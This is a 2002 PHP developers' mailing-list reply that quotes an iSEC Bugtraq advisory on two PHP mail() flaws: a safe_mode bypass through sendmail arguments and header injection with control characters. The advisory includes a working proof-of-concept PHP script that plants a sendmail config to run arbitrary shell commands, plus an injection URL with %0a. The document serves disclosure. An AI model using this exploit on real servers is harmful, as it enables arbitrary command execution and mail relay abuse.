Re: [Fwd: PHP: Bypass safe_mode and inject ASCII control chars with mail()]

On Sat, 24 Aug 2002, Yasuo Ohgaki wrote: > Looks like we failed to coordinate security hole info... This is already taken care off. Derick > > -- > Yasuo Ohgaki > > -------- Original Message -------- > Subject: PHP: Bypass safe_mode and inject ASCII control chars with mail() > Date: Fri, 23 Aug 2002 09:30:40 +0200 (CEST) > From: Wojciech Purczynski <cliph@isec.pl> > Reply-To: isec@isec.pl > To: bugtraq@securityfocus.com > > > Product: > PHP > Version: 4.x up to 4.2.2 > Vendor: > http://www.php.net/ > Author: > Wojciech Purczynski <cliph@isec.pl> > Date: > June 13, 2002 > Updated: > August 23, 2002 > Released: > August 21, 2002 > > > Issue: > ====== > > Two vulnerabilities exists in mail() PHP function. The first one allows to > execute any program/script bypassing safe_mode restriction, the second one > may give an open-relay script if mail() function is not carefully used in > PHP scripts. > > > Description: > ============ > > PHP is a widely-used general-purpose scripting language that is especially > suited for Web development and can be embedded into HTML. > > > Details: > ======== > > (1) Bypassing safe_mode restriction > > If PHP is configured with safe_mode option enabled, special restriction > are set up including limit on external binaries that may be executed > from within a PHP script. > > The 5th argument to the mail() function (introduced in version 4.0.5) > allow specifying command line option to the sendmail binary. Some time > ago a bug was found in the mail() function allowing to pass shell > meta-characters in the 5th argument, leading to execute arbitrary shell > commands or external binaries. This bug was fixed in version 4.1.0. > > However, mail() function is still vulnerable because it allows to pass > command line arguments to the sendmail binary which gives the ability to > influence its behavior (i.e. by using non-default aliases, custom > configuration files - other cases are possible with others MTAs) > > Passing 5th argument should be disabled if PHP is configured in safe_mode. > > Exploit attached at the end. > > (2) Injecting ASCII control characters into mail() arguments > > Arbitrary ASCII control characters may be injected into string arguments > of mail() function. If mail() arguments are takeon from user's input it > may give the user ability to alter message content including mail > headers. > > Example of such a vulnerability may be found on PHP.net site: > > (URL wrapped for readability) > http://www.php.net/mailing-lists.php? > maillist=your@email.com%0a&email=fake@from.net%0a > > PHP should do content filtering before creating message body sent > with "sendmail -t" command. > > > Impact: > ======= > > (1) Any user may bypass safe_mode restrictions if mail() function is not > disabled. > (2) Open-relay PHP script if user's data is poorly or not filtered and > passed to the mail() function. > > > Exploit: > ======== > > Sample exploit for (1) that works with sendmail MTA: > > -----8<----- bypass_safe_mode.php -----8<----- > <? > $script=tempnam("/tmp", "script"); > $cf=tempnam("/tmp", "cf"); > > $fd = fopen($cf, "w"); > fwrite($fd, "OQ/tmp > Sparse=0 > R$*" . chr(9) . "$#local $@ $1 $: $1 > Mlocal, P=/bin/sh, A=sh $script"); > fclose($fd); > > $fd = fopen($script, "w"); > fwrite($fd, "rm -f $script $cf; "); > fwrite($fd, $cmd); > fclose($fd); > > mail("nobody", "", "", "", "-C$cf"); > ?> > -----8<----- bypass_safe_mode.php -----8<----- > > > Fix: > ==== > > (1) has been successfully fixed in the latest CVS snapshot. Fix for the > (2) is not sufficient and it is still possible to inject ASCII control > characters that causes argument string to be truncated. Please refer to > the example URL mentioned above. > > These bugs haven't been fixed yet in the latest 4.2.2 stable release. > > > -- > Wojciech Purczynski > iSEC Security Research > http://isec.pl/ > > > > > > > > > > -- > PHP Development Mailing List <http://www.php.net/> > To unsubscribe, visit: http://www.php.net/unsub.php > ------------ Output from gpg ------------ > gpg: Signature made Fri Aug 23 09:30:52 2002 CEST using DSA key ID 9E70A6EE > gpg: BAD signature from "iSEC Security Research <security@isec.pl>" > > --------------------------------------------------------------------------- Did I help you? http://www.derickrethans.nl/link.php?url=giftlist Frequent ranting: http://www.derickrethans.nl/ --------------------------------------------------------------------------- PHP: Scripting the Web - derick@php.net All your branches are belong to me! SRM: Script Running Machine - www.vl-srm.net ---------------------------------------------------------------------------